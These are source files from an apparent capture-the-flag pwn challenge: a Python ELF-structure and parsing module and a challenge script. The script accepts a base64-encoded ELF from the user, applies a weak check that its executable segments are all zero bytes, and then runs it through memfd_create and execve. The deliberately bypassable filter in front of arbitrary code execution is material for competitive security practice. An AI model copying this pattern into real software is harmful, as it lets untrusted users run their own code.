from __future__ import division
import ctypes
Elf32_Addr = ctypes.c_uint32
Elf32_Half = ctypes.c_uint16
Elf32_Off = ctypes.c_uint32
Elf32_Sword = ctypes.c_int32
Elf32_Word = ctypes.c_uint32
Elf64_Addr = ctypes.c_uint64
Elf64_Half = ctypes.c_uint16
Elf64_SHalf = ctypes.c_int16
Elf64_Off = ctypes.c_uint64
Elf64_Sword = ctypes.c_int32
Elf64_Word = ctypes.c_uint32
Elf64_Xword = ctypes.c_uint64
Elf64_Sxword = ctypes.c_int64
AT_CONSTANTS = {
0 : 'AT_NULL', # /* End of vector */
1 : 'AT_IGNORE', # /* Entry should be ignored */
2 : 'AT_EXECFD', # /* File descriptor of program */
3 : 'AT_PHDR', # /* Program headers for program */
4 : 'AT_PHENT', # /* Size of program header entry */
5 : 'AT_PHNUM', # /* Number of program headers */
6 : 'AT_PAGESZ', # /* System page size */
7 : 'AT_BASE', # /* Base address of interpreter */
8 : 'AT_FLAGS', # /* Flags */
9 : 'AT_ENTRY', # /* Entry point of program */
10: 'AT_NOTELF', # /* Program is not ELF */
11: 'AT_UID', # /* Real uid */
12: 'AT_EUID', # /* Effective uid */
13: 'AT_GID', # /* Real gid */
14: 'AT_EGID', # /* Effective gid */
15: 'AT_PLATFORM', # /* String identifying platform */
16: 'AT_HWCAP', # /* Machine dependent hints about processor capabilities */
17: 'AT_CLKTCK', # /* Frequency of times() */
18: 'AT_FPUCW',
19: 'AT_DCACHEBSIZE',
20: 'AT_ICACHEBSIZE',
21: 'AT_UCACHEBSIZE',
22: 'AT_IGNOREPPC',
23: 'AT_SECURE',
24: 'AT_BASE_PLATFORM', # String identifying real platforms
25: 'AT_RANDOM', # Address of 16 random bytes
31: 'AT_EXECFN', # Filename of executable
32: 'AT_SYSINFO',
33: 'AT_SYSINFO_EHDR',
34: 'AT_L1I_CACHESHAPE',
35: 'AT_L1D_CACHESHAPE',
36: 'AT_L2_CACHESHAPE',
37: 'AT_L3_CACHESHAPE',
}
class constants:
EI_MAG0 = 0
EI_MAG1 = 1
EI_MAG2 = 2
EI_MAG3 = 3
EI_CLASS = 4
EI_DATA = 5
EI_VERSION = 6
EI_OSABI = 7
EI_ABIVERSION = 8
EI_PAD = 9
EI_NIDENT = 16
ELFMAG0 = 0x7f
ELFMAG1 = ord('E')
ELFMAG2 = ord('L')
ELFMAG3 = ord('F')
ELFCLASSNONE = 0
ELFCLASS32 = 1
ELFCLASS64 = 2
ELFDATANONE = 0
ELFDATA2LSB = 1
ELFDATA2MSB = 2
# Legal values for Elf_Phdr.p_type (segment type).
PT_NULL = 0
PT_LOAD = 1
PT_DYNAMIC = 2
PT_INTERP = 3
PT_NOTE = 4
PT_SHLIB = 5
PT_PHDR = 6
PT_TLS = 7
# Legal values for Elf_Ehdr.e_type (object file type).
ET_NONE = 0
ET_REL = 1
ET_EXEC = 2
ET_DYN = 3
ET_CORE = 4
# Legal values for Elf_Dyn.d_tag (dynamic entry type).
DT_NULL = 0
DT_NEEDED = 1
DT_PLTRELSZ = 2
DT_PLTGOT = 3
DT_HASH = 4
DT_STRTAB = 5
DT_SYMTAB = 6
DT_RELA = 7
DT_RELASZ = 8
DT_RELAENT = 9
DT_STRSZ = 10
DT_SYMENT = 11
DT_INIT = 12
DT_FINI = 13
DT_SONAME = 14
DT_RPATH = 15
DT_SYMBOLIC = 16
DT_REL = 17
DT_RELSZ = 18
DT_RELENT = 19
DT_PLTREL = 20
DT_DEBUG = 21
DT_TEXTREL = 22
DT_JMPREL = 23
DT_ENCODING = 32
DT_FLAGS_1 = 0x000000006ffffffb
DT_VERNEED = 0x000000006ffffffe
DT_VERNEEDNUM = 0x000000006fffffff
DT_VERSYM = 0x000000006ffffff0
DT_RELACOUNT = 0x000000006ffffff9
DT_GNU_HASH = 0x000000006ffffef5
# Legal values for Elf_Shdr.sh_type (section type).
SHT_NULL = 0
SHT_PROGBITS = 1
SHT_SYMTAB = 2
SHT_STRTAB = 3
SHT_RELA = 4
SHT_HASH = 5
SHT_DYNAMIC = 6
SHT_NOTE = 7
SHT_NOBITS = 8
SHT_REL = 9
SHT_SHLIB = 10
SHT_DYNSYM = 11
SHT_NUM = 12
# Legal values for ST_TYPE subfield of Elf_Sym.st_info (symbol type).
STT_NOTYPE = 0
STT_OBJECT = 1
STT_FUNC = 2
STT_SECTION = 3
STT_FILE = 4
STT_COMMON = 5
STT_TLS = 6
STT_GNU_IFUNC = 10
SHN_UNDEF = 0
SHN_ABS = 0xfff1
SHN_COMMON = 0xfff2
#
# Notes used in ET_CORE. Architectures export some of the arch register sets
# using the corresponding note types via the PTRACE_GETREGSET and
# PTRACE_SETREGSET requests.
#
NT_PRSTATUS = 1
NT_PRFPREG = 2
NT_PRPSINFO = 3
NT_TASKSTRUCT = 4
NT_AUXV = 6
#
# Note to userspace developers: size of NT_SIGINFO note may increase
# in the future to accommodate more fields, don't assume it is fixed!
#
NT_SIGINFO = 0x53494749
NT_FILE = 0x46494c45
NT_PRXFPREG = 0x46e62b7f
NT_PPC_VMX = 0x100
NT_PPC_SPE = 0x101
NT_PPC_VSX = 0x102
NT_386_TLS = 0x200
NT_386_IOPERM = 0x201
NT_X86_XSTATE = 0x202
NT_S390_HIGH_GPRS = 0x300
NT_S390_TIMER = 0x301
NT_S390_TODCMP = 0x302
NT_S390_TODPREG = 0x303
NT_S390_CTRS = 0x304
NT_S390_PREFIX = 0x305
NT_S390_LAST_BREAK = 0x306
NT_S390_SYSTEM_CALL = 0x307
NT_S390_TDB = 0x308
NT_ARM_VFP = 0x400
NT_ARM_TLS = 0x401
NT_ARM_HW_BREAK = 0x402
NT_ARM_HW_WATCH = 0x403
NT_METAG_CBUF = 0x500
NT_METAG_RPIPE = 0x501
NT_METAG_TLS = 0x502
AT_NULL = 0
AT_IGNORE = 1
AT_EXECFD = 2
AT_PHDR = 3
AT_PHENT = 4
AT_PHNUM = 5
AT_PAGESZ = 6
AT_BASE = 7
AT_FLAGS = 8
AT_ENTRY = 9
AT_NOTELF = 10
AT_UID = 11
AT_EUID = 12
AT_GID = 13
AT_EGID = 14
AT_PLATFORM = 15
AT_HWCAP = 16
AT_CLKTCK = 17
AT_FPUCW = 18
AT_DCACHEBSIZE = 19
AT_ICACHEBSIZE = 20
AT_UCACHEBSIZE = 21
AT_IGNOREPPC = 22
AT_SECURE = 23
AT_BASE_PLATFORM = 24
AT_RANDOM = 25
AT_EXECFN = 31
AT_SYSINFO = 32
AT_SYSINFO_EHDR = 33
AT_L1I_CACHESHAPE = 34
AT_L1D_CACHESHAPE = 35
AT_L2_CACHESHAPE = 36
AT_L3_CACHESHAPE = 37
# Legal flags used in the d_val field of the DT_FLAGS dynamic entry.
DF_ORIGIN = 0x01
DF_SYMBOLIC = 0x02
DF_TEXTREL = 0x04
DF_BIND_NOW = 0x08
DF_STATIC_TLS = 0x10
# Legal flags used in the d_val field of the DT_FLAGS_1 dynamic entry.
DF_1_NOW = 0x00000001
DF_1_GLOBAL = 0x00000002
DF_1_GROUP = 0x00000004
DF_1_NODELETE = 0x00000008
DF_1_LOADFLTR = 0x00000010
DF_1_INITFIRST = 0x00000020
DF_1_NOOPEN = 0x00000040
DF_1_ORIGIN = 0x00000080
DF_1_DIRECT = 0x00000100
DF_1_TRANS = 0x00000200
DF_1_INTERPOSE = 0x00000400
DF_1_NODEFLIB = 0x00000800
DF_1_NODUMP = 0x00001000
DF_1_CONFALT = 0x00002000
DF_1_ENDFILTEE = 0x00004000
DF_1_DISPRELDNE = 0x00008000
DF_1_DISPRELPND = 0x00010000
DF_1_NODIRECT = 0x00020000
DF_1_IGNMULDEF = 0x00040000
DF_1_NOKSYMS = 0x00080000
DF_1_NOHDR = 0x00100000
DF_1_EDITED = 0x00200000
DF_1_NORELOC = 0x00400000
DF_1_SYMINTPOSE = 0x00800000
DF_1_GLOBAUDIT = 0x01000000
DF_1_SINGLETON = 0x02000000
DF_1_STUB = 0x04000000
DF_1_PIE = 0x08000000
R_X86_64_NONE = 0
R_X86_64_64 = 1
R_X86_64_PC32 = 2
R_X86_64_GOT32 = 3
R_X86_64_PLT32 = 4
R_X86_64_COPY = 5
R_X86_64_GLOB_DAT = 6
R_X86_64_JUMP_SLOT = 7
R_X86_64_RELATIVE = 8
R_X86_64_GOTPCREL = 9
R_X86_64_32 = 10
R_X86_64_32S = 11
R_X86_64_16 = 12
R_X86_64_PC16 = 13
R_X86_64_8 = 14
R_X86_64_PC8 = 15
R_X86_64_DPTMOD64 = 16
R_X86_64_DTPOFF64 = 17
R_X86_64_TPOFF64 = 18
R_X86_64_TLSGD = 19
R_X86_64_TLSLD = 20
R_X86_64_DTPOFF32 = 21
R_X86_64_GOTTPOFF = 22
R_X86_64_TPOFF32 = 23
R_X86_64_PC64 = 24
R_X86_64_GOTOFF64 = 25
R_X86_64_GOTPC32 = 26
R_X86_64_GOT64 = 27
R_X86_64_GOTPCREL64 = 28
R_X86_64_GOTPC64 = 29
R_X86_64_GOTPLT64 = 30
R_X86_64_PLTOFF64 = 31
R_X86_64_SIZE32 = 32
R_X86_64_SIZE64 = 33
R_X86_64_GOTPC32_TLSDESC = 34
R_X86_64_TLSDESC_CALL = 35
R_X86_64_TLSDESC = 36
R_X86_64_IRELATIVE = 37
R_X86_64_RELATIVE64 = 38
R_X86_64_GOTPCRELX = 41
R_X86_64_REX_GOTPCRELX = 42
R_X86_64_NUM = 43
class Elf32_Ehdr(ctypes.Structure):
_fields_ = [("e_ident", (ctypes.c_ubyte * 16)),
("e_type", Elf32_Half),
("e_machine", Elf32_Half),
("e_version", Elf32_Word),
("e_entry", Elf32_Addr),
("e_phoff", Elf32_Off),
("e_shoff", Elf32_Off),
("e_flags", Elf32_Word),
("e_ehsize", Elf32_Half),
("e_phentsize", Elf32_Half),
("e_phnum", Elf32_Half),
("e_shentsize", Elf32_Half),
("e_shnum", Elf32_Half),
("e_shstrndx", Elf32_Half),]
class Elf64_Ehdr(ctypes.Structure):
_fields_ = [("e_ident", (ctypes.c_ubyte * 16)),
("e_type", Elf64_Half),
("e_machine", Elf64_Half),
("e_version", Elf64_Word),
("e_entry", Elf64_Addr),
("e_phoff", Elf64_Off),
("e_shoff", Elf64_Off),
("e_flags", Elf64_Word),
("e_ehsize", Elf64_Half),
("e_phentsize", Elf64_Half),
("e_phnum", Elf64_Half),
("e_shentsize", Elf64_Half),
("e_shnum", Elf64_Half),
("e_shstrndx", Elf64_Half),]
class Elf32_Phdr(ctypes.Structure):
_fields_ = [("p_type", Elf32_Word),
("p_offset", Elf32_Off),
("p_vaddr", Elf32_Addr),
("p_paddr", Elf32_Addr),
("p_filesz", Elf32_Word),
("p_memsz", Elf32_Word),
("p_flags", Elf32_Word),
("p_align", Elf32_Word),]
class Elf64_Phdr(ctypes.Structure):
_fields_ = [("p_type", Elf64_Word),
("p_flags", Elf64_Word),
("p_offset", Elf64_Off),
("p_vaddr", Elf64_Addr),
("p_paddr", Elf64_Addr),
("p_filesz", Elf64_Xword),
("p_memsz", Elf64_Xword),
("p_align", Elf64_Xword),]
class Elf32_Shdr(ctypes.Structure):
_fields_ = [("sh_name", Elf32_Word),
("sh_type", Elf32_Word),
("sh_flags", Elf32_Word),
("sh_addr", Elf32_Addr),
("sh_offset", Elf32_Off),
("sh_size", Elf32_Word),
("sh_link", Elf32_Word),
("sh_info", Elf32_Word),
("sh_addralign", Elf32_Word),
("sh_entsize", Elf32_Word),]
class Elf64_Shdr(ctypes.Structure):
_fields_ = [("sh_name", Elf64_Word),
("sh_type", Elf64_Word),
("sh_flags", Elf64_Xword),
("sh_addr", Elf64_Addr),
("sh_offset", Elf64_Off),
("sh_size", Elf64_Xword),
("sh_link", Elf64_Word),
("sh_info", Elf64_Word),
("sh_addralign", Elf64_Xword),
("sh_entsize", Elf64_Xword),]
class _U__Elf32_Dyn(ctypes.Union):
_fields_ = [("d_val", Elf32_Sword),
("d_ptr", Elf32_Addr),]
class Elf32_Dyn(ctypes.Structure):
_anonymous_ = ("d_un",)
_fields_ = [("d_tag", Elf32_Sword),
("d_un", _U__Elf32_Dyn),]
class _U__Elf64_Dyn(ctypes.Union):
_fields_ = [("d_val", Elf64_Xword),
("d_ptr", Elf64_Addr),]
class Elf64_Dyn(ctypes.Structure):
_anonymous_ = ("d_un",)
_fields_ = [("d_tag", Elf64_Sxword),
("d_un", _U__Elf64_Dyn),]
class Elf32_Sym(ctypes.Structure):
_fields_ = [("st_name", Elf32_Word),
("st_value", Elf32_Addr),
("st_size", Elf32_Word),
("st_info", ctypes.c_ubyte),
("st_other", ctypes.c_ubyte),
("st_shndx", Elf32_Half),]
class Elf64_Sym(ctypes.Structure):
_fields_ = [("st_name", Elf64_Word),
("st_info", ctypes.c_ubyte),
("st_other", ctypes.c_ubyte),
("st_shndx", Elf64_Half),
("st_value", Elf64_Addr),
("st_size", Elf64_Xword),]
@property
def st_type(self):
return self.st_info & 0x0f
@property
def st_bind(self):
return self.st_info >> 4
@st_type.setter
def st_type(self, value):
value &= 0x0f
self.st_info = (self.st_bind << 4) | value
@st_bind.setter
def st_bind(self, value):
value &= 0x0f
self.st_info = (value << 4) | self.st_type
class Elf64_Rel(ctypes.Structure):
_fields_ = [("r_offset", Elf64_Addr),
("r_info", Elf64_Xword),]
@property
def r_sym(self):
return self.r_info >> 32
@property
def r_type(self):
return self.r_info % (1 << 32)
@r_sym.setter
def r_sym(self, value):
value %= (1 << 32)
self.r_info = (value << 32) | self.r_type
@r_type.setter
def r_type(self, value):
value %= (1 << 32)
self.r_info = (self.r_sym << 32) | value
class Elf64_Rela(ctypes.Structure):
_fields_ = [("r_offset", Elf64_Addr),
("r_info", Elf64_Xword),
("r_addend", Elf64_Sxword),]
@property
def r_sym(self):
return self.r_info >> 32
@property
def r_type(self):
return self.r_info % (1 << 32)
@r_sym.setter
def r_sym(self, value):
value %= (1 << 32)
self.r_info = (value << 32) | self.r_type
@r_type.setter
def r_type(self, value):
value %= (1 << 32)
self.r_info = (self.r_sym << 32) | value
class Elf32_Link_Map(ctypes.Structure):
_fields_ = [("l_addr", Elf32_Addr),
("l_name", Elf32_Addr),
("l_ld", Elf32_Addr),
("l_next", Elf32_Addr),
("l_prev", Elf32_Addr),]
class Elf64_Link_Map(ctypes.Structure):
_fields_ = [("l_addr", Elf64_Addr),
("l_name", Elf64_Addr),
("l_ld", Elf64_Addr),
("l_next", Elf64_Addr),
("l_prev", Elf64_Addr),]
#
# Additions below here by Zach Riggle for pwntool
#
# See the routine elf_machine_runtime_setup for the relevant architecture
# for the layout of the GOT.
#
# https://chromium.googlesource.com/chromiumos/third_party/glibc/+/master/sysdeps/x86/dl-machine.h
# https://chromium.googlesource.com/chromiumos/third_party/glibc/+/master/sysdeps/x86_64/dl-machine.h
# https://fossies.org/dox/glibc-2.20/aarch64_2dl-machine_8h_source.html#l00074
# https://fossies.org/dox/glibc-2.20/powerpc32_2dl-machine_8c_source.html#l00203
#
# For now, these are defined for x86 and x64
#
char = ctypes.c_char
byte = ctypes.c_byte
class Elf_eident(ctypes.Structure):
_fields_ = [('EI_MAG',char*4),
('EI_CLASS',byte),
('EI_DATA',byte),
('EI_VERSION',byte),
('EI_OSABI',byte),
('EI_ABIVERSION',byte),
('EI_PAD', byte*(16-9))]
class Elf_i386_GOT(ctypes.Structure):
_fields_ = [("jmp", Elf32_Addr),
("linkmap", Elf32_Addr),
("dl_runtime_resolve", Elf32_Addr)]
class Elf_x86_64_GOT(ctypes.Structure):
_fields_ = [("jmp", Elf64_Addr),
("linkmap", Elf64_Addr),
("dl_runtime_resolve", Elf64_Addr)]
class Elf_HashTable(ctypes.Structure):
_fields_ = [('nbucket', Elf32_Word),
('nchain', Elf32_Word),]
# ('bucket', nbucket * Elf32_Word),
# ('chain', nchain * Elf32_Word)]
# Docs: http://dyncall.org/svn/dyncall/tags/r0.4/dyncall/dynload/dynload_syms_elf.c
class GNU_HASH(ctypes.Structure):
_fields_ = [('nbuckets', Elf32_Word),
('symndx', Elf32_Word),
('maskwords', Elf32_Word),
('shift2', Elf32_Word)]
class Elf32_r_debug(ctypes.Structure):
_fields_ = [('r_version', Elf32_Word),
('r_map', Elf32_Addr)]
class Elf64_r_debug(ctypes.Structure):
_fields_ = [('r_version', Elf32_Word),
('r_map', Elf64_Addr)]
constants.DT_GNU_HASH = 0x6ffffef5
constants.STN_UNDEF = 0
pid_t = ctypes.c_uint32
class elf_siginfo(ctypes.Structure):
_fields_ = [('si_signo', ctypes.c_int32),
('si_code', ctypes.c_int32),
('si_errno', ctypes.c_int32)]
class timeval32(ctypes.Structure):
_fields_ = [('tv_sec', ctypes.c_int32),
('tv_usec', ctypes.c_int32),]
class timeval64(ctypes.Structure):
_fields_ = [('tv_sec', ctypes.c_int64),
('tv_usec', ctypes.c_int64),]
# See linux/elfcore.h
def generate_prstatus_common(size, regtype):
c_long = ctypes.c_uint32 if size==32 else ctypes.c_uint64
timeval = timeval32 if size==32 else timeval64
return [('pr_info', elf_siginfo),
('pr_cursig', ctypes.c_int16),
('pr_sigpend', c_long),
('pr_sighold', c_long),
('pr_pid', pid_t),
('pr_ppid', pid_t),
('pr_pgrp', pid_t),
('pr_sid', pid_t),
('pr_utime', timeval),
('pr_stime', timeval),
('pr_cutime', timeval),
('pr_cstime', timeval),
('pr_reg', regtype),
('pr_fpvalid', ctypes.c_uint32)
]
# See i386-linux-gnu/sys/user.h
class user_regs_struct_i386(ctypes.Structure):
_fields_ = [(name, ctypes.c_uint32) for name in [
'ebx',
'ecx',
'edx',
'esi',
'edi',
'ebp',
'eax',
'xds',
'xes',
'xfs',
'xgs',
'orig_eax',
'eip',
'xcs',
'eflags',
'esp',
'xss',
]]
assert ctypes.sizeof(user_regs_struct_i386) == 0x44
# See i386-linux-gnu/sys/user.h
class user_regs_struct_amd64(ctypes.Structure):
_fields_ = [(name, ctypes.c_uint64) for name in [
'r15',
'r14',
'r13',
'r12',
'rbp',
'rbx',
'r11',
'r10',
'r9',
'r8',
'rax',
'rcx',
'rdx',
'rsi',
'rdi',
'orig_rax',
'rip',
'cs',
'eflags',
'rsp',
'ss',
'fs_base',
'gs_base',
'ds',
'es',
'fs',
'gs',
]]
assert ctypes.sizeof(user_regs_struct_amd64) == 0xd8
class user_regs_struct_arm(ctypes.Structure):
_fields_ = [('r%i' % i, ctypes.c_uint32) for i in range(18)]
@property
def cpsr(self):
return self.r16
@property
def pc(self):
return self.r15
@property
def lr(self):
return self.r14
@property
def sp(self):
return self.r13
@property
def ip(self):
return self.r12
@property
def fp(self):
return self.r11
class user_regs_struct_aarch64(ctypes.Structure):
_fields_ = [('x%i' % i, ctypes.c_uint64) for i in range(31)] \
+ [('sp', ctypes.c_uint64),
('pc', ctypes.c_uint64),
('pstate', ctypes.c_uint64)]
@property
def lr(self):
return self.x30
def __getattr__(self, name):
if name.startswith('r'):
name = 'x' + name[1:]
return getattr(self, name) & 0xffffffff
raise AttributeError(name)
class elf_prstatus_i386(ctypes.Structure):
_fields_ = generate_prstatus_common(32, user_regs_struct_i386)
assert ctypes.sizeof(elf_prstatus_i386) == 0x90
class elf_prstatus_amd64(ctypes.Structure):
_fields_ = generate_prstatus_common(64, user_regs_struct_amd64) \
+ [('padding', ctypes.c_uint32)]
assert ctypes.sizeof(elf_prstatus_amd64) == 0x150
class elf_prstatus_arm(ctypes.Structure):
_fields_ = generate_prstatus_common(32, user_regs_struct_arm)
class elf_prstatus_aarch64(ctypes.Structure):
_fields_ = generate_prstatus_common(64, user_regs_struct_aarch64)
class Elf32_auxv_t(ctypes.Structure):
_fields_ = [('a_type', ctypes.c_uint32),
('a_val', ctypes.c_uint32),]
class Elf64_auxv_t(ctypes.Structure):
_fields_ = [('a_type', ctypes.c_uint64),
('a_val', ctypes.c_uint64),]
def generate_prpsinfo(long):
return [
('pr_state', byte),
('pr_sname', char),
('pr_zomb', byte),
('pr_nice', byte),
('pr_flag', long),
('pr_uid', ctypes.c_ushort),
('pr_gid', ctypes.c_ushort),
('pr_pid', ctypes.c_int),
('pr_ppid', ctypes.c_int),
('pr_pgrp', ctypes.c_int),
('pr_sid', ctypes.c_int),
('pr_fname', char * 16),
('pr_psargs', char * 80)
]
class elf_prpsinfo_32(ctypes.Structure):
_fields_ = generate_prpsinfo(Elf32_Addr)
class elf_prpsinfo_64(ctypes.Structure):
_fields_ = generate_prpsinfo(Elf64_Addr)
def generate_siginfo(int_t, long_t):
class siginfo_t(ctypes.Structure):
_fields_ = [('si_signo', int_t),
('si_errno', int_t),
('si_code', int_t),
('sigfault_addr', long_t),
('sigfault_trapno', int_t)]
return siginfo_t
class elf_siginfo_32(generate_siginfo(ctypes.c_uint32, ctypes.c_uint32)):
pass
class elf_siginfo_64(generate_siginfo(ctypes.c_uint32, ctypes.c_uint64)):
pass
"""
=[ custom elf parsing code ]=
"""
from ctypes import sizeof
from os import memfd_create, execve, write, environ
from pprint import pprint
import sys
from pathlib import Path
Header = Elf64_Ehdr
Segment = Elf64_Phdr
Section = Elf64_Shdr
Symbol = Elf64_Sym
Reloc = Elf64_Rela
DynTag = Elf64_Dyn
class ValidationException(Exception):
pass
def nextOrNone(iterable):
try:
return next(iterable)
except StopIteration:
return None
def listOf(struct: ctypes.Structure, raw: bytes):
return [struct.from_buffer(raw, i * sizeof(struct)) for i in range(len(raw) // sizeof(struct))]
class Strings:
def __init__(self, raw: bytes, size: int = -1, offset: int = 0):
if size < 0:
size = len(raw)
self.raw = raw[offset : offset + size]
def name(self, offset: int) -> None | bytes:
try:
name = b""
while self.raw[offset] != 0:
name += self.raw[offset].to_bytes(1, "little")
offset += 1
return name
except IndexError:
return None
class Elf:
def __init__(self, raw: bytes, header: Header, segments: list[Segment], sections: list[Section]):
self.raw = raw
self.ref = memoryview(raw)
self.header = header
self.segments = segments
self.sections = sections
self.dyanmicSegment = None
self.dyanmicTags = None
self.sectionNames = None
try:
shstrtab = sections[self.header.e_shstrndx]
self.sectionNames = Strings(self.content(shstrtab))
except IndexError:
pass
try:
self.dyanmicSegment = next(filter(lambda seg: seg.p_type == constants.PT_DYNAMIC, self.segments))
self.dyanmicTags = listOf(DynTag, self.content(self.dyanmicSegment))
except StopIteration:
pass
def write(self, file: str | Path):
with open(file, "wb") as out:
out.write(self.raw)
def run(self, argv: list[str] | None = None):
argv = argv or sys.argv
fd = memfd_create("chal", 0)
write(fd, self.raw)
execve(fd, argv, environ)
def content(self, part: Segment | Section) -> bytes:
if type(part) == Segment:
return self.ref[part.p_offset : part.p_offset + part.p_filesz]
elif type(part) == Section:
return self.ref[part.sh_offset : part.sh_offset + part.sh_size]
else:
raise NotImplementedError("unsupported argument type")
def dyntag(self, targetTag: int) -> None | DynTag:
if self.dyanmicTags:
return nextOrNone(filter(lambda tag: tag.d_tag == targetTag, self.dyanmicTags))
def relocs(self, part: bytes | Section) -> list[Reloc]:
if type(part) == bytes:
return listOf(Reloc, part)
elif type(part) == Section:
return listOf(Reloc, self.content(part))
else:
raise NotImplementedError("unsupported argument type")
def symtab(self, part: bytes | Section) -> list[Symbol]:
if type(part) == bytes:
return listOf(Symbol, part)
elif type(part) == Section:
return listOf(Symbol, self.content(part))
else:
raise NotImplementedError("unsupported argument type")
def strtab(self, part: bytes | Section) -> Strings:
if type(part) == bytes:
return Strings(part)
elif type(part) == Section:
return Strings(self.content(part))
else:
raise NotImplementedError("unsupported argument type")
def section(self, key: bytes | int) -> None | Section:
if type(key) == str:
key = key.encode()
if type(key) == bytes:
if self.sectionNames:
for section in self.sections:
if (name := self.sectionNames.name(section.sh_name)) and name == key:
return section
elif type(key) == int:
for section in self.sections:
if section.sh_type == key:
return section
else:
raise NotImplementedError("unsupported argument type")
class SectionFlags:
WRITE = 1 << 0
ALLOC = 1 << 1
EXECINSTR = 1 << 2
class SegmentFlags:
X = 1 << 0
W = 1 << 1
R = 1 << 2
def dump(struct: ctypes.Structure):
for name, t in struct._fields_:
val = getattr(struct, name)
if type(val) == int:
num = f"{val:x}".rjust(sizeof(t) * 2, "0")
print(f"{name:<12} = 0x{num}")
else:
print(f"{name:<12} = {val}")
def parse(data: bytes, blacklist_segments: list[int] = []) -> Elf:
data = bytearray(data)
header = Header.from_buffer(data)
# these dont actually matter but oh well
if header.e_ident[constants.EI_CLASS] != constants.ELFCLASS64:
raise ValidationException("must have 64 bit class")
if header.e_ident[constants.EI_DATA] != constants.ELFDATA2LSB:
raise ValidationException("must be little endian")
if header.e_ehsize != sizeof(Header):
raise ValidationException("bad header size")
if header.e_shentsize != sizeof(Section):
raise ValidationException("bad section size")
if header.e_phentsize != sizeof(Segment):
raise ValidationException("bad segment size")
# important checks
if header.e_ident[constants.EI_MAG0] != constants.ELFMAG0:
raise ValidationException("bad elf magic")
if header.e_ident[constants.EI_MAG1] != constants.ELFMAG1:
raise ValidationException("bad elf magic")
if header.e_ident[constants.EI_MAG2] != constants.ELFMAG2:
raise ValidationException("bad elf magic")
if header.e_ident[constants.EI_MAG3] != constants.ELFMAG3:
raise ValidationException("bad elf magic")
if header.e_machine != 0x3e:
raise ValidationException("bad machine")
if header.e_type != constants.ET_EXEC and header.e_type != constants.ET_DYN:
raise ValidationException("bad type")
segments = list(Segment.from_buffer(data, header.e_phoff + i * sizeof(Segment)) for i in range(header.e_phnum))
sections = list(Section.from_buffer(data, header.e_shoff + i * sizeof(Section)) for i in range(header.e_shnum))
for segment in segments:
if segment.p_type in blacklist_segments:
raise ValidationException("blacklisted segment not allowed")
return Elf(data, header, segments, sections) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/squ1rrel/2025/pwn/Extremely_Lame_Filters_2/fairy.py | ctfs/squ1rrel/2025/pwn/Extremely_Lame_Filters_2/fairy.py | #!/usr/bin/python3
from elf import *
from base64 import b64decode
data = b64decode(input("I'm a little fairy and I will trust any ELF that comes by!! (almost any)"))
elf = parse(data)
if elf.header.e_type != constants.ET_EXEC:
print("!!")
exit(1)
for segment in elf.segments:
if segment.p_flags & SegmentFlags.X:
content = elf.content(segment)
for byte in content:
if byte != 0:
print(">:(")
exit(1)
elf.run()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/squ1rrel/2025/pwn/Extremely_Lame_Filters_2/elf.py | ctfs/squ1rrel/2025/pwn/Extremely_Lame_Filters_2/elf.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# mayhem/datatypes/elf.py
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above
# copyright notice, this list of conditions and the following disclaimer
# in the documentation and/or other materials provided with the
# distribution.
# * Neither the name of the project nor the names of its
# contributors may be used to endorse or promote products derived from
# this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
from __future__ import division
import ctypes
Elf32_Addr = ctypes.c_uint32
Elf32_Half = ctypes.c_uint16
Elf32_Off = ctypes.c_uint32
Elf32_Sword = ctypes.c_int32
Elf32_Word = ctypes.c_uint32
Elf64_Addr = ctypes.c_uint64
Elf64_Half = ctypes.c_uint16
Elf64_SHalf = ctypes.c_int16
Elf64_Off = ctypes.c_uint64
Elf64_Sword = ctypes.c_int32
Elf64_Word = ctypes.c_uint32
Elf64_Xword = ctypes.c_uint64
Elf64_Sxword = ctypes.c_int64
AT_CONSTANTS = {
0 : 'AT_NULL', # /* End of vector */
1 : 'AT_IGNORE', # /* Entry should be ignored */
2 : 'AT_EXECFD', # /* File descriptor of program */
3 : 'AT_PHDR', # /* Program headers for program */
4 : 'AT_PHENT', # /* Size of program header entry */
5 : 'AT_PHNUM', # /* Number of program headers */
6 : 'AT_PAGESZ', # /* System page size */
7 : 'AT_BASE', # /* Base address of interpreter */
8 : 'AT_FLAGS', # /* Flags */
9 : 'AT_ENTRY', # /* Entry point of program */
10: 'AT_NOTELF', # /* Program is not ELF */
11: 'AT_UID', # /* Real uid */
12: 'AT_EUID', # /* Effective uid */
13: 'AT_GID', # /* Real gid */
14: 'AT_EGID', # /* Effective gid */
15: 'AT_PLATFORM', # /* String identifying platform */
16: 'AT_HWCAP', # /* Machine dependent hints about processor capabilities */
17: 'AT_CLKTCK', # /* Frequency of times() */
18: 'AT_FPUCW',
19: 'AT_DCACHEBSIZE',
20: 'AT_ICACHEBSIZE',
21: 'AT_UCACHEBSIZE',
